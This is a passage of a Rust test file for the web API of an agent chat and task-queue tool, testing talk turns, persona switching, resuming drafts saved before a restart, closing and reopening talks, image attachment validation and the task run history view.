12076 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12077 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12078 for chosen in ["default", "gendo", "rei", "gendo"] {
12080 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12081 assert!(!view.thinking);
12082 assert!(!ui.is_thinking(&id));
12083 }
12084
12085 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12086 .await
12087 .expect("detail");
12088 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12089 assert_eq!(ids.first(), Some(&"default"));
12090 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12091
12092 let Json(view) = call("default").await.expect("back to default");
12093 assert_eq!(view.talk.persona, "");
12094
12095 let mut closed = talks.get(&id).expect("reload");
12096 talk::close(&mut closed, &talks).expect("close");
12097 let refused = call("rei").await.expect_err("closed talk");
12098 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12099 assert!(
12100 refused.message.contains("takes no more turns"),
12101 "{}",
12102 refused.message
12103 );
12104 }
12105
12106 #[tokio::test]
12107 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12108 let f = Fixture::start().await;
12109 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12110 let queue = f.queue();
12111 let mut mine = Task::new(
12112 "rename the loader".to_owned(),
12113 "rename the loader".to_owned(),
12114 PathBuf::from("/repo/magi"),
12115 Source::Agent {
12116 run: talk_id.clone(),
12117 node: "chat".to_owned(),
12118 },
12119 );
12120 queue.put(&mut mine).expect("file the task");
12121 let mut theirs = Task::new(
12122 "unrelated".to_owned(),
12123 "unrelated".to_owned(),
12124 PathBuf::from("/repo/magi"),
12125 Source::Human,
12126 );
12127 queue.put(&mut theirs).expect("file the task");
12128
12129 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12130 assert_eq!(res.status, 200, "{}", res.body);
12131 let body = res.json();
12132 assert_eq!(
12133 body["status"], "open",
12134 "filing a task does not close a talk"
12135 );
12136 let tasks = body["tasks"].as_array().expect("tasks array");
12137 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12138 assert_eq!(tasks[0]["id"], mine.id);
12139 }
12140
12141 #[tokio::test]
12142 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12143 let (_tmp, _repo, f) = talk_fixture().await;
12144 let id = f.post("/api/talks", None).await.json()["id"]
12145 .as_str()
12146 .expect("id")
12147 .to_owned();
12148
12149 let res = f
12150 .post(
12151 &format!("/api/talks/{id}/say"),
12152 Some(r#"{"text":"what does the queue module do?"}"#),
12153 )
12154 .await;
12155 assert_eq!(res.status, 202, "{}", res.body);
12156 let queued = res.json();
12157 let turns = queued["turns"].as_array().expect("turns array");
12158 assert_eq!(
12159 turns.len(),
12160 1,
12161 "the answer reflects only what is on disk the instant it is sent, \
12162 before the agent's turn - which can run for the whole of \
12163 `[graph] timeout_talk` - has a chance to land: {queued}"
12164 );
12165 assert_eq!(turns[0]["who"], "operator");
12166 assert_eq!(turns[0]["body"], "what does the queue module do?");
12167 assert_eq!(
12168 queued["thinking"], true,
12169 "the accepted response exposes the background turn claim: {queued}"
12170 );
12171
12172 let mut turns_after = 1;
12173 for _ in 0..SETTLE_STEPS {
12174 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12175 turns_after = detail["turns"].as_array().expect("turns array").len();
12176 if turns_after == 2 {
12177 break;
12178 }
12179 tokio::time::sleep(Duration::from_millis(10)).await;
12180 }
12181 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12182 }
12183
12184 #[tokio::test]
12211 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12212 let tmp = TempDir::new().expect("tempdir");
12213 let repo = tmp.path().join("repo");
12214 std::fs::create_dir_all(&repo).expect("repo dir");
12215 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12216 let home = TempDir::new().expect("temp home");
12217 let talks = Talks::at(home.path().join("talks"));
12218 let ui = Arc::new(
12219 Ui::new(
12220 Queue::at(home.path().join("queue")),
12221 Questions::at(home.path().join("questions")),
12222 talks.clone(),
12223 home.path().join("runs"),
12224 home.path().to_path_buf(),
12225 repo.clone(),
12226 )
12227 .with_worktrees_root(home.path().join("wt")),
12228 );
12229 let cfg = config_for(&repo).await.expect("discover config");
12230
12231 for delay in 0..40u32 {
12232 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12233 let id = talk.id.clone();
12234
12235 let handler = tokio::spawn(talk_say(
12236 State(Arc::clone(&ui)),
12237 Path(id.clone()),
12238 Ok(Json(NewTalkTurn {
12239 reply_to: None,
12240 text: "what does the queue module do?".to_owned(),
12241 attachments: Vec::new(),
12242 })),
12243 ));
12244 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12245 handler.abort();
12246 let _ = handler.await;
12249
12250 let mut turns = 0;
12251 for _ in 0..SETTLE_STEPS {
12252 if let Ok(fresh) = talks.get(&id) {
12253 turns = fresh.turns.len();
12254 if turns != 1 {
12255 break;
12256 }
12257 }
12258 tokio::time::sleep(Duration::from_millis(10)).await;
12259 }
12260 assert_ne!(
12261 turns, 1,
12262 "delay {delay}: talk {id} recorded the operator's turn but \
12263 the agent never answered - the reply task was never \
12264 started after the handler future was dropped"
12265 );
12266 }
12267 }
12268
12269 #[tokio::test]
12314 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12315 let tmp = TempDir::new().expect("tempdir");
12316 let repo = tmp.path().join("repo");
12317 std::fs::create_dir_all(&repo).expect("repo dir");
12318 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12319 let home = TempDir::new().expect("temp home");
12320 let talks = Talks::at(home.path().join("talks"));
12321 let ui = Arc::new(
12322 Ui::new(
12323 Queue::at(home.path().join("queue")),
12324 Questions::at(home.path().join("questions")),
12325 talks.clone(),
12326 home.path().join("runs"),
12327 home.path().to_path_buf(),
12328 repo.clone(),
12329 )
12330 .with_worktrees_root(home.path().join("wt")),
12331 );
12332 let cfg = config_for(&repo).await.expect("discover config");
12333
12334 for attempt in 0..3u32 {
12335 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12336 let id = talk.id.clone();
12337 let turn_guard = ui
12340 .begin_talk_turn(&id)
12341 .expect("claim the turn")
12342 .expect("a fresh talk owes nobody a turn");
12343
12344 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12345 let (release_tx, release_rx) = std::sync::mpsc::channel();
12346 ui.set_busy_queue_gate(BusyQueueGate {
12347 reached: reached_tx,
12348 release: release_rx,
12349 });
12350
12351 let handler = tokio::spawn(talk_say(
12352 State(Arc::clone(&ui)),
12353 Path(id.clone()),
12354 Ok(Json(NewTalkTurn {
12355 reply_to: None,
12356 text: "what does the queue module do?".to_owned(),
12357 attachments: Vec::new(),
12358 })),
12359 ));
12360
12361 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12366 .await
12367 .unwrap_or_else(|_| {
12368 panic!(
12369 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12370 )
12371 })
12372 .expect("the busy branch dropped the gate without using it");
12373
12374 let running = talks.get(&id).expect("reload talk");
12381 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12382
12383 handler.abort();
12387 let _ = handler.await;
12388
12389 let _ = release_tx.send(());
12395
12396 let mut fresh = talks.get(&id).expect("reload talk");
12399 for _ in 0..SETTLE_STEPS {
12400 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
12401 break;
12402 }
12403 tokio::time::sleep(Duration::from_millis(10)).await;
12404 fresh = talks.get(&id).expect("reload talk");
12405 }
12406 assert!(
12407 fresh.pending.is_empty() && fresh.turns.len() == 2,
12408 "attempt {attempt}: talk {id} left the operator's text queued \
12409 with no drainer - the reclaimed turn was dropped along with \
12410 the handler future (pending {:?}, {} turns)",
12411 fresh.pending,
12412 fresh.turns.len()
12413 );
12414 }
12415 }
12416
12417 #[tokio::test]
12418 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
12419 let (_tmp, _repo, f) = talk_fixture().await;
12420 let id = f.post("/api/talks", None).await.json()["id"]
12421 .as_str()
12422 .expect("id")
12423 .to_owned();
12424 let store = f.talks();
12425 let mut recovered = store.get(&id).expect("opened talk");
12426 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12427 .expect("persist pending draft without a live turn");
12428
12429 let edited = f
12430 .post(
12431 &format!("/api/talks/{id}/pending/edit"),
12432 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
12433 )
12434 .await;
12435 assert_eq!(edited.status, 200, "{}", edited.body);
12436 assert!(edited.json()["thinking"].as_bool().unwrap());
12437
12438 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
12439 for _ in 0..SETTLE_STEPS {
12440 if detail["turns"].as_array().expect("turns").len() == 2 {
12441 break;
12442 }
12443 tokio::time::sleep(Duration::from_millis(10)).await;
12444 detail = f.get(&format!("/api/talks/{id}")).await.json();
12445 }
12446 let turns = detail["turns"].as_array().expect("turns");
12447 assert_eq!(
12448 turns.len(),
12449 2,
12450 "the recovered draft must run once: {detail}"
12451 );
12452 assert_eq!(turns[0]["body"], "corrected");
12453 assert_eq!(detail["pending"], "");
12454 }
12455
12456 #[tokio::test]
12457 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
12458 let tmp = TempDir::new().expect("tempdir");
12459 let repo = tmp.path().join("repo");
12460 std::fs::create_dir_all(&repo).expect("repo dir");
12461 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12462 let f = Fixture::with_repo(repo).await;
12463 let id = f.post("/api/talks", None).await.json()["id"]
12464 .as_str()
12465 .expect("id")
12466 .to_owned();
12467 let store = f.talks();
12468 let mut recovered = store.get(&id).expect("opened talk");
12469 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12470 .expect("persist pending draft without a live turn");
12471
12472 let refused = f
12473 .post(
12474 &format!("/api/talks/{id}/say"),
12475 Some(r#"{"text":"new message"}"#),
12476 )
12477 .await;
12478 assert_eq!(refused.status, 409, "{}", refused.body);
12479 assert!(refused.body.contains("resume"), "{}", refused.body);
12480 let saved = store.get(&id).expect("draft remains after refusal");
12481 assert!(saved.turns.is_empty());
12482 assert_eq!(saved.pending, "saved before restart");
12483
12484 let say_path = format!("/api/talks/{id}/say");
12485 let (first, second) = tokio::join!(
12486 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12487 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12488 );
12489 assert_eq!(first.status, 409, "{}", first.body);
12490 assert_eq!(second.status, 409, "{}", second.body);
12491 let saved = store
12492 .get(&id)
12493 .expect("draft remains after concurrent refusals");
12494 assert!(saved.turns.is_empty());
12495 assert_eq!(saved.pending, "saved before restart");
12496
12497 let resumed = f
12498 .post(&format!("/api/talks/{id}/pending/resume"), None)
12499 .await;
12500 assert_eq!(resumed.status, 202, "{}", resumed.body);
12501 let duplicate = f
12502 .post(&format!("/api/talks/{id}/pending/resume"), None)
12503 .await;
12504 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12505
12506 for _ in 0..SETTLE_STEPS {
12507 if store.get(&id).expect("talk").turns.len() == 2 {
12508 break;
12509 }
12510 tokio::time::sleep(Duration::from_millis(10)).await;
12511 }
12512 let finished = store.get(&id).expect("finished talk");
12513 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12514 assert_eq!(finished.turns[0].body, "saved before restart");
12515 assert!(finished.pending.is_empty());
12516 }
12517
12518 #[tokio::test]
12519 async fn an_image_only_recovered_draft_resumes_without_text() {
12520 let (_tmp, _repo, f) = talk_fixture().await;
12521 let id = f.post("/api/talks", None).await.json()["id"]
12522 .as_str()
12523 .expect("id")
12524 .to_owned();
12525 let uploaded = f
12526 .post_bytes(
12527 &format!("/api/talks/{id}/attachments"),
12528 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12529 PNG_BYTES,
12530 )
12531 .await;
12532 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12533 let attachment = f
12534 .talks()
12535 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12536 .expect("attachment metadata")
12537 .expect("stored attachment");
12538 let store = f.talks();
12539 let mut recovered = store.get(&id).expect("opened talk");
12540 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12541
12542 let resumed = f
12543 .post(&format!("/api/talks/{id}/pending/resume"), None)
12544 .await;
12545 assert_eq!(resumed.status, 202, "{}", resumed.body);
12546 for _ in 0..SETTLE_STEPS {
12547 if store.get(&id).expect("talk").turns.len() == 2 {
12548 break;
12549 }
12550 tokio::time::sleep(Duration::from_millis(10)).await;
12551 }
12552 let finished = store.get(&id).expect("finished talk");
12553 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12554 assert!(finished.turns[0].body.is_empty());
12555 assert_eq!(finished.turns[0].attachments.len(), 1);
12556 assert!(finished.pending_attachments.is_empty());
12557 }
12558
12559 #[tokio::test]
12560 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12561 let (_tmp, _repo, f) = talk_fixture().await;
12562 let id = f.post("/api/talks", None).await.json()["id"]
12563 .as_str()
12564 .expect("id")
12565 .to_owned();
12566 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12567 assert_eq!(closed.status, 200, "{}", closed.body);
12568 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12569 .expect("serialize closed talk");
12570 for (path, body) in [
12571 (format!("/api/talks/{id}/pending/resume"), None),
12572 (
12573 format!("/api/talks/{id}/pending/clear"),
12574 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12575 ),
12576 (
12577 format!("/api/talks/{id}/pending/edit"),
12578 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12579 ),
12580 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12581 ] {
12582 let response = f.post(&path, body).await;
12583 assert_eq!(response.status, 409, "{}", response.body);
12584 }
12585 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12586 .expect("serialize closed talk");
12587 assert_eq!(
12588 after_clear, before_clear,
12589 "clear must not rewrite a closed talk"
12590 );
12591 }
12592
12593 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12596
12597 #[tokio::test]
12598 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12599 let tmp = TempDir::new().expect("tempdir");
12600 let repo = tmp.path().join("repo");
12601 std::fs::create_dir_all(&repo).expect("repo dir");
12602 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12603 let f = Fixture::with_repo(repo).await;
12604 let id_a = f.post("/api/talks", None).await.json()["id"]
12605 .as_str()
12606 .unwrap()
12607 .to_owned();
12608 let id_b = f.post("/api/talks", None).await.json()["id"]
12609 .as_str()
12610 .unwrap()
12611 .to_owned();
12612
12613 let a = f
12614 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12615 .await;
12616 assert_eq!(a.status, 202, "{}", a.body);
12617 assert_eq!(a.json()["thinking"], true);
12618 let b = f
12619 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12620 .await;
12621 assert_eq!(b.status, 202, "{}", b.body);
12622 assert_eq!(b.json()["thinking"], true);
12623
12624 let listed = f.get("/api/talks").await.json();
12625 for id in [&id_a, &id_b] {
12626 let view = listed
12627 .as_array()
12628 .unwrap()
12629 .iter()
12630 .find(|talk| talk["id"] == *id)
12631 .unwrap();
12632 assert_eq!(view["thinking"], true, "{listed}");
12633 }
12634 let repeated = f
12635 .post(
12636 &format!("/api/talks/{id_a}/say"),
12637 Some(r#"{"text":"again"}"#),
12638 )
12639 .await;
12640 assert_eq!(repeated.status, 202, "{}", repeated.body);
12641 assert_eq!(repeated.json()["pending"], "again");
12642 }
12643
12644 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12647
12648 #[tokio::test]
12649 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12650 let f = Fixture::start().await;
12651 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12652
12653 let res = f
12654 .post_bytes(
12655 &format!("/api/talks/{id}/attachments"),
12656 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12657 PNG_BYTES,
12658 )
12659 .await;
12660 assert_eq!(res.status, 201, "{}", res.body);
12661 let body = res.json();
12662 assert_eq!(body["name"], "shot.png");
12663 assert_eq!(body["mime"], "image/png");
12664 assert_eq!(body["bytes"], PNG_BYTES.len());
12665 let att_id = body["id"].as_str().expect("id").to_owned();
12666 assert_eq!(
12667 att_id.len(),
12668 32,
12669 "the id must never be a client-suppliable path: {att_id}"
12670 );
12671
12672 let got = f
12673 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12674 .await;
12675 assert_eq!(got.status, 200, "{}", got.body);
12676 assert_eq!(got.header("content-type"), Some("image/png"));
12677 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
12678 assert_eq!(got.bytes, PNG_BYTES);
12679 }
12680
12681 #[tokio::test]
12682 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
12683 let f = Fixture::start().await;
12684 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
12685
12686 let svg = f
12689 .post_bytes(
12690 &format!("/api/talks/{id}/attachments"),
12691 &[("Content-Type", "image/svg+xml")],
12692 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
12693 )
12694 .await;
12695 assert!(
12696 (400..500).contains(&svg.status),
12697 "svg must be refused: {} {}",
12698 svg.status,
12699 svg.body
12700 );
12701 assert!(svg.body.contains("SVG"), "{}", svg.body);
12702
12703 let text = f
12704 .post_bytes(
12705 &format!("/api/talks/{id}/attachments"),
12706 &[("Content-Type", "text/plain")],
12707 b"just some text",
12708 )
12709 .await;
12710 assert!(
12711 (400..500).contains(&text.status),
12712 "an unlisted type must be refused: {} {}",
12713 text.status,
12714 text.body
12715 );
12716
12717 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
12720 let big = f
12721 .post_bytes(
12722 &format!("/api/talks/{id}/attachments"),
12723 &[("Content-Type", "image/png")],
12724 &oversized,
12725 )
12726 .await;
12727 assert_eq!(
12728 big.status,
12729 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
12730 "{}",
12731 big.body
12732 );
12733 }
12734
12735 #[tokio::test]
12736 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
12737 let f = Fixture::start().await;
12738 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
12739
12740 let res = f
12743 .post_bytes(
12744 &format!("/api/talks/{id}/attachments"),
12745 &[("Content-Type", "image/png")],
12746 b"<html>not a picture</html>",
12747 )
12748 .await;
12749 assert!((400..500).contains(&res.status), "{}", res.body);
12750 }
12751
12752 #[tokio::test]
12753 async fn an_unknown_attachment_id_is_a_404() {
12754 let f = Fixture::start().await;
12755 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
12756
12757 let res = f
12758 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
12759 .await;
12760 assert_eq!(res.status, 404, "{}", res.body);
12761 }
12762
12763 #[tokio::test]
12764 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
12765 let f = Fixture::start().await;
12766 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
12767
12768 let uploaded = f
12769 .post_bytes(
12770 &format!("/api/talks/{id}/attachments"),
12771 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12772 PNG_BYTES,
12773 )
12774 .await;
12775 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12776 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12777
12778 let res = f
12779 .post(
12780 &format!("/api/talks/{id}/say"),
12781 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12782 )
12783 .await;
12784 assert_eq!(res.status, 202, "{}", res.body);
12785 let queued = res.json();
12786 let turns = queued["turns"].as_array().expect("turns array");
12787 assert_eq!(
12788 turns.len(),
12789 1,
12790 "an empty body with an attachment is still a turn: {queued}"
12791 );
12792 assert_eq!(turns[0]["who"], "operator");
12793 assert_eq!(turns[0]["body"], "");
12794 let atts = turns[0]["attachments"]
12795 .as_array()
12796 .expect("attachments array");
12797 assert_eq!(atts.len(), 1);
12798 assert_eq!(atts[0]["id"], att_id);
12799 assert_eq!(atts[0]["mime"], "image/png");
12800
12801 let on_disk = f.talks().get(&id).expect("get");
12804 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12805 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12806 }
12807
12808 #[tokio::test]
12809 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12810 let f = Fixture::start().await;
12811 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12812
12813 let res = f
12814 .post(
12815 &format!("/api/talks/{id}/say"),
12816 Some(&format!(
12817 r#"{{"text":"hi","attachments":["{}"]}}"#,
12818 "a".repeat(32)
12819 )),
12820 )
12821 .await;
12822 assert!((400..500).contains(&res.status), "{}", res.body);
12823 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12824
12825 let on_disk = f.talks().get(&id).expect("get");
12826 assert!(
12827 on_disk.turns.is_empty(),
12828 "a rejected attachment id must not partially record the turn: {:?}",
12829 on_disk.turns
12830 );
12831 }
12832
12833 #[tokio::test]
12834 async fn talk_close_makes_the_talk_refuse_further_turns() {
12835 let f = Fixture::start().await;
12836 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12837
12838 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12839 assert_eq!(closed.status, 200, "{}", closed.body);
12840 assert_eq!(closed.json()["status"], "closed");
12841
12842 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12844 assert_eq!(closed_again.status, 200);
12845 assert_eq!(closed_again.json()["status"], "closed");
12846
12847 let said = f
12848 .post(
12849 &format!("/api/talks/{id}/say"),
12850 Some(r#"{"text":"too late"}"#),
12851 )
12852 .await;
12853 assert_eq!(said.status, 409, "{}", said.body);
12854 }
12855
12856 #[tokio::test]
12857 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12858 let (_tmp, _repo, f) = talk_fixture().await;
12859 let id = f.post("/api/talks", None).await.json()["id"]
12860 .as_str()
12861 .expect("id")
12862 .to_owned();
12863 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12864 assert_eq!(closed.status, 200, "{}", closed.body);
12865
12866 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12867 assert_eq!(reopened.status, 200, "{}", reopened.body);
12868 assert_eq!(reopened.json()["status"], "open");
12869
12870 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12872 assert_eq!(reopened_again.status, 200);
12873 assert_eq!(reopened_again.json()["status"], "open");
12874
12875 let said = f
12876 .post(
12877 &format!("/api/talks/{id}/say"),
12878 Some(r#"{"text":"still there?"}"#),
12879 )
12880 .await;
12881 assert_eq!(
12882 said.status, 202,
12883 "a reopened talk accepts turns again: {}",
12884 said.body
12885 );
12886 }
12887
12888 #[tokio::test]
12889 async fn talk_reopen_on_an_unknown_id_is_404() {
12890 let f = Fixture::start().await;
12891 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12892 assert_eq!(res.status, 404, "{}", res.body);
12893 }
12894
12895 #[tokio::test]
12896 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12897 let f = Fixture::start().await;
12898 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12899
12900 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12901 assert_eq!(deleted.status, 204, "{}", deleted.body);
12902
12903 let after = f.get(&format!("/api/talks/{id}")).await;
12904 assert_eq!(after.status, 404, "{}", after.body);
12905
12906 let listed = f.get("/api/talks").await.json();
12907 assert!(
12908 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12909 "a deleted talk must not linger in the list: {listed}"
12910 );
12911 }
12912
12913 #[tokio::test]
12914 async fn talk_delete_on_an_unknown_id_is_404() {
12915 let f = Fixture::start().await;
12916 let res = f.delete("/api/talks/nonexistent-id").await;
12917 assert_eq!(res.status, 404, "{}", res.body);
12918 }
12919
12920 #[tokio::test]
12924 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12925 let f = Fixture::start().await;
12926 let (a, b, gone) = (
12927 "20260902-140501-aaaa",
12928 "20260902-140502-bbbb",
12929 "20260902-140503-cccc",
12930 );
12931 write_run(&f.runs(), a, RunStatus::Stalled);
12932 let mut review = RunState::new(
12933 PathBuf::from("/repo/magi"),
12934 "main".to_owned(),
12935 "0123456789abcdef".to_owned(),
12936 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12937 .to_owned(),
12938 Config::default(),
12939 );
12940 review.id = b.to_owned();
12941 review.status = RunStatus::Merged;
12942 write_state(&f.runs(), &review);
12943
12944 let mut task = Task::new(
12945 "retry".to_owned(),
12946 "Do the thing".to_owned(),
12947 PathBuf::from("/repo/magi"),
12948 Source::Human,
12949 );
12950 task.start(a.to_owned());
12951 task.stall("quota");
12952 task.start(a.to_owned());
12953 task.start(b.to_owned());
12954 task.start(gone.to_owned());
12955 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12957 f.queue().put(&mut task).expect("file the task");
12958
12959 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12960 assert_eq!(res.status, 200, "{}", res.body);
12961 let v = res.json();
12962 let h = v["history"].as_array().expect("history");
12963 assert_eq!(h.len(), 4, "{v}");
12964 assert_eq!(h[0]["kind"], "competition");
12965 assert_eq!(h[0]["status"], "stalled");
12966 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12967 assert_eq!(h[1]["kind"], "resume", "{v}");
12968 assert!(
12969 h[0]["outcome"]
12970 .as_str()
12971 .unwrap()
12972 .contains("unknown. Pass #2"),
12973 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12974 );
12975 assert!(
12976 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12977 "{v}"
12978 );
12979 assert!(
12980 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12981 "an unrecorded cause must not be narrated as an operator park: {v}"
12982 );
12983 assert_eq!(h[2]["kind"], "review");
12984 assert!(
12985 h[2]["description"]
12986 .as_str()
12987 .unwrap()
12988 .contains("magi/aaaa/A")
12989 );
12990 assert_eq!(h[2]["status"], "merged");
12991 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12992 assert_eq!(v["runs_unreadable"], 1);
12993 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12994 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12995 assert_eq!(nodes[4]["note"], "unreadable");
12996 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12997 assert_eq!(v["instruction"], "Do the thing");
12998 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12999
13000 let run = f.get(&format!("/api/runs/{a}")).await.json();
13002 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13003
13004 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13005 }
13006
13007 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13008 let mut s = RunState::new(
13009 PathBuf::from("/repo/magi"),
13010 "main".to_owned(),
13011 "0123456789abcdef".to_owned(),
13012 "Do it".to_owned(),
13013 Config::default(),
13014 );
13015 s.status = status;
13016 edit(&mut s);
13017 s
13018 }
13019
13020 fn flow_task(runs: &[&str]) -> Task {
13021 let mut t = Task::new(
13022 "t".to_owned(),
13023 "Do it".to_owned(),
13024 PathBuf::from("/repo/magi"),
13025 Source::Human,
13026 );
13027 for r in runs {
13028 t.start((*r).to_owned());
13029 }
13030 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13032 t
13033 }
13034
13035 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13036 let h = task_history(task, |id| {
13037 states
13038 .iter()
13039 .find(|(i, _)| *i == id)
13040 .and_then(|(_, s)| s.clone())
13041 });
13042 task_flow(task, &h, 5, None)
13043 }
13044
13045 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13046 crate::queue::FollowUp {
13047 run: "20260901-000000-aaaa".to_owned(),
13048 origin_task: origin_task.map(str::to_owned),
13049 pr: "https://example.com/o/r/pull/1".to_owned(),
13050 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13051 .map(str::to_owned)
13052 .to_vec(),
13053 generation: 1,
13054 }
13055 }
13056
13057 fn parent_task() -> Task {
13058 let mut p = flow_task(&[]);
13059 p.title = "Parent title".to_owned();
13060 p.status = TaskStatus::Done;
13061 p
13062 }
13063
13064 #[test]
13065 fn flow_opens_with_the_parent_task_of_a_followup() {
13066 let p = parent_task();
13067 let pid = p.id.clone();
13068 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13069 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13070 let n = &f.nodes[0];
13071 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13072 assert_eq!(
13073 n.label,
13074 format!("Follow-up of {}", crate::queue::short(&pid))
13075 );
13076 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13077 assert_eq!(n.status, Some("done"));
